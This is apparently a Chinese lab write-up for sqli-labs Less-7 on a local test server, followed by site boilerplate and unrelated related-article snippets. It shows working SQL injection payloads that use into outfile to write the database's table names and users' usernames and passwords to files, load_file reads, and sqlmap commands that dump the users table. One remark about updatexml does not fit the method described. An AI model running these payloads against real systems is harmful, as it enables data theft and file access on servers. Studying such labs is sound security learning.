1. 思路🚀

本关的SQL语句为:

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
  • 注入类型:字符串型(单引号、双括号包裹)
  • 提示:参数id需以'))闭合

同样无法像常规一样回显,php输出语句的代码如下:

	if($row){echo '<font color= "#FFFF00">';	echo 'You are in.... Use outfile......';echo "<br>";echo "</font>";}

对于无回显的情况,我们会想到:

  • 布尔盲注:逻辑判断✅
  • 时间盲注:延时判断✅
  • 报错盲注:报错回显❌

我用sqlmap扫到了布尔盲注与时间盲注,但根据提示是想要我们通过MySQL的load_file(文件读取)和into outfile(文件写入)来解决本关卡,先搞into outfile(),再搞load_file()

在这里插入图片描述


2. 条件🧩

对这个关卡感观不好,是因为要求挺多的,还是找了不少文章+AI辅助才解决本关卡。首先需要打开MySQL的命令行,查看secure_file_priv的值。

含义是否允许文件操作
具体路径仅允许操作该目录下的文件(如你的 D:\...\Uploads\✅ 有条件允许
NULL禁止所有文件导入/导出操作❌ 完全禁止
空字符串 ''允许操作任意路径的文件(高危!✅ 完全允许

我的属于具体路径,截图展示:
在这里插入图片描述
这就意味着,我必须在指定的路径中进行文件读写,当然我可以修改这个路径,可修改的位置在MySQL安装时的my.ini中,具体修改位置:
在这里插入图片描述
一定要MySQL80服务的,不然不会生效。出于学习的目的,我就不改路径了,大家随意。

3. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-7/,只需要将下面的sql语句粘贴即可。

3.1. 正常请求⚡

?id=1

在这里插入图片描述

说明:测试回显情况


3.2. 判断字段数⚡

?id=-1')) order by 4 --+
  • order by 4:探测字段数(报错说明字段数=3)

在这里插入图片描述


3.3. 写入基础信息⚡

?id=-1')) union select database(),version(),user() into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\1.txt" --+

在这里插入图片描述

在这里插入图片描述


3.4. 写入表名⚡

?id=-1')) union select 1,2, group_concat(table_name) from information_schema.tables where table_schema = 'security' into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\2.txt" --+

在这里插入图片描述


3.5. 写入字段⚡

?id=-1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\3.txt" --+

在这里插入图片描述


3.6. 写入数据⚡

?id=-1')) union select 1,username,password from users into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\4.txt" --+

因为updatexml()函数最多显示32位数据,建议使用concat()搭配limit + offset使用,例如limit n,1,n为起始位置。
在这里插入图片描述


3.7. 参数汇总表⭐

参数作用示例
'))闭合符号id=1'))
--+注释符--+
order by判断字段数order by 4
union select联合查询union select 1,2,3
group_concat()合并结果group_concat(table_name)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

4. SQLMap工具测试🎯

url地址换成自己的,后面一定要加上id=1,比如:http://localhost:8081/Less-7/?id=1

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-7/?id=1" --batch# 爆数据库
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch

命令1截图:
在这里插入图片描述

命令5截图:
在这里插入图片描述

SQLMap参数表⭐

参数功能
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

5. 读取文件🔍

load_file()into outfile()是成对出现的,我通过mysql命令行的方式,简单了解下load_file()

select load_file("D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\1.txt");

在这里插入图片描述
文件内容是十六进制编码形式​​,而非原始文本,需要改一下语句:

select convert(load_file("D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\1.txt") using utf8) as file_content;

在这里插入图片描述


6. 总结🏁

刚开始我用sqlmap扫的时候,发现只有布尔盲注和时间盲注,尽管根据本题解析也能通过,但是条件未免也太严格了(一开始怎么知道能不能写入文件)。


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/91277.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/91277.shtml
英文地址,请注明出处:http://en.pswp.cn/bicheng/91277.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

编程算法:从理论基石到产业变革的核心驱动力

文章目录 算法的本质与效率衡量 基础算法范式的实践价值 排序算法的演进与选择 动态规划的实用技巧 算法在现代技术栈中的应用 大数据处理的算法框架 编译器中的算法优化 算法驱动的产业变革 金融领域的算法应用 医疗健康领域的算法创新 制造业的算法优化 算法的未来趋势 结语 …

深度学习中的注意力机制:原理、应用与未来展望

在人工智能领域&#xff0c;深度学习技术已经取得了巨大的突破&#xff0c;而注意力机制&#xff08;Attention Mechanism&#xff09;作为深度学习中的一个重要概念&#xff0c;正在逐渐改变我们对模型的理解和应用。本文将深入探讨注意力机制的原理、在不同领域的应用以及未来…

LeetCode 4:寻找两个正序数组的中位数

LeetCode 4&#xff1a;寻找两个正序数组的中位数问题定义与核心挑战 给定两个有序&#xff08;升序&#xff09;数组 nums1 和 nums2&#xff0c;要求找到它们的中位数&#xff0c;且算法时间复杂度为 O(log(mn))&#xff08;m 和 n 分别是两个数组的长度&#xff09;。 中位数…

独立站如何吃掉平台蛋糕?DTC模式下的成本重构与利润跃升

一、成本结构革命&#xff1a;从「流量税」到「用户终身价值」亚马逊卖家需支付15%佣金12%广告费&#xff0c;导致每$100收入中平台抽成$27。而成熟独立站通过SEO&#xff08;自然流量占比超40%&#xff09;和社交媒体内容引流&#xff0c;将获客成本压缩至$8-$15。更关键的是用…

应用驱动 协同创新:中国人工智能开启高质量发展新篇章

人工智能技术的突破性发展正引发全球产业格局的深刻变革。在2025年这个关键节点&#xff0c;中国以"应用导向"为战略支点&#xff0c;依托新型举国体制优势&#xff0c;正在构建具有中国特色的人工智能发展体系&#xff0c;为全球智能革命贡献东方智慧。一、战略布局…

ZKMall商城开源本地部署指南

1. 开发环境配置 以下是开发工具的最低版本要求。在继续之前&#xff0c;请务必安装所有必需的依赖项。 工具版本JDK17MySQL5.7.3Redis5.0Maven3.9.5NodeJS20.18.0 1.1 安装资源 如需详细的安装指南&#xff0c;您可以参考以下教程&#xff1a; JDK: 菜鸟教程 Java 环境搭建…

《使用Qt Quick从零构建AI螺丝瑕疵检测系统》——8. AI赋能(下):在Qt中部署YOLOv8模型

目录一、概述1.1 背景介绍&#xff1a;从“训练”到“部署”1.2 学习目标二、在C中集成ONNX模型2.1 准备模型文件2.2 修改Backend以加载和运行模型三、关键一步&#xff1a;输出结果的后处理四、运行与验证五、总结与展望一、概述 1.1 背景介绍&#xff1a;从“训练”到“部署…

【动态规划 | 多状态问题】动态规划求解多状态问题

算法相关知识点可以通过点击以下链接进行学习一起加油&#xff01;斐波那契数列模型路径问题多状态问题通常涉及多个决策点和状态转换&#xff0c;解决起来复杂且计算量大。动态规划作为一种强大的算法工具&#xff0c;能够通过将问题分解为子问题并逐步求解&#xff0c;显著提…

【HTTP】防XSS+SQL注入:自定义HttpMessageConverter过滤链深度解决方案

防XSSSQL注入&#xff1a;自定义HttpMessageConverter过滤链深度解决方案一、安全威胁模型分析二、自定义HttpMessageConverter架构设计2.1 技术栈组成三、完整实现代码3.1 安全过滤工具类3.2 自定义HttpMessageConverter3.3 Spring安全配置四、深度防御增强方案4.1 SQL注入参数…

学习游戏制作记录(冻结敌人时间与黑洞技能)7.30

1.实现剑击中敌人时冻结敌人时间Enemy脚本&#xff1a;public float defaultMoveSpeed;//默认速度defaultMoveSpeed moveSpeed;//Awake&#xff08;&#xff09;中设置public virtual void FreezeTime(bool _timeFreeze)//冻结设置函数{if (_timeFreeze){moveSpeed 0;anim.sp…

【数据结构】真题 2016

待补充已知表头元素为c的单链表在内存中的存储状态如下表所示地址元素链接地址1000Ha1010H1004Hb100CH1008Hc1000H100CHdNULL1010He1004H1014H现将f存放于1014H处并插入到单链表中&#xff0c;若f在逻辑上位于a和e之间&#xff0c;则a, e, f的“链接地址”依次是&#xff08; &…

双线串行的 “跨界对话”:I2C 与 MDIO 的异同解析

在电子系统设计中,串行总线凭借其精简的信号线数量和灵活的拓扑结构,成为芯片间通信的主流选择。I2C(Inter-Integrated Circuit)和 MDIO(Management Data Input/Output)作为两种典型的双线串行总线,虽同属低速信号范畴,却在各自的应用领域扮演着不可替代的角色。本文将…

算法精讲:二分查找(二)—— 变形技巧

&#x1f3af; 算法精讲&#xff1a;二分查找&#xff08;二&#xff09;—— 变形技巧 &#x1f50d; 友情提示&#xff1a;&#xff1a;本小节含高能代码片段 &#x1f964; 阅读前请确保已掌握基础二分原理与实现代码片段可能包含不同程度的变形&#xff0c;请根据实际情况选…

两个程序配合实现了基于共享内存和信号量的进程间通信,具体说明如下:

第一个程序&#xff1a;共享内存读取程序&#xff08;消费者&#xff09;该程序作为消费者&#xff0c;从共享内存中读取数据&#xff0c;通过信号量保证只有当生产者写入数据后才能读取。/*4 - 读共享内存*/ #include<stdio.h> // 标准输入输出库 #inc…

JeecgBoot(1):前后台环境搭建

1 项目介绍 JeecgBoot 是一款基于 Java 的 AI 低代码平台&#xff0c;它采用了 SpringBoot、SpringCloud、Ant Design Vue3、Mybatis 等技术栈&#xff0c;并集成了代码生成器、AI 对话助手、AI 建表、AI 写文章等功能。JeecgBoot 的设计宗旨是实现简单功能零代码开发&#xf…

Nestjs框架: 关于 OOP / FP / FRP 编程

概述 在软件开发过程中&#xff0c;不同的编程范式为我们提供了多样化的思维方式与实现路径它们不仅影响着代码的结构和逻辑组织方式&#xff0c;也深刻影响着项目的可维护性、可扩展性以及团队协作效率 什么是 OOP、FP 和 FRP&#xff1f;首先从三个术语的含义入手 1 &#xf…

elememtor 添加分页功能

各位看官好&#xff0c;最近在忙着使用elementor搭建自己的网站&#xff0c;由于我不是专业的程序员和前端&#xff0c;又没有很多钱去找外包公司实现自己的设计&#xff0c;所以选择了elementor. 总的来说这是一个不错的wordpress 插件&#xff0c;也让我们这种非专业的网站设…

关于“PromptPilot” 之2 -目标系统:Prompt构造器

目标系统&#xff1a;Prompt构造器想法首先&#xff0c;在抽象层对PromptPilot进行封装给出提示词形成过程的全部环节。然后&#xff0c;在 形成一套确定的提示词后再为 小规模试点方案生成一整套开发工具并配套集成开发环境和指南。最后&#xff0c;在小规模试点成功后进行拓展…

短剧小程序系统开发:重塑影视内容消费格局

在数字化浪潮的推动下&#xff0c;影视内容消费正经历着深刻的变革。短剧小程序系统开发作为这一变革的重要力量&#xff0c;正在重塑影视内容消费的格局&#xff0c;为用户带来更加个性化、便捷化的观影体验。传统影视内容消费往往受到时间和空间的限制&#xff0c;用户需要前…

一文掌握最新版本Monocle3单细胞轨迹(拟时序)分析

许多大佬的软件想要构建一个大而美的生态&#xff0c;从 monocle2 开始就能做单细胞的质控、降维、分群、注释这一系列的分析&#xff0c;但不幸的是我们只知道 monocle 系列还是主要做拟时序分析&#xff0c;一方面是因为 Seurat 有先发优势&#xff0c;出名要趁早&#xff0c…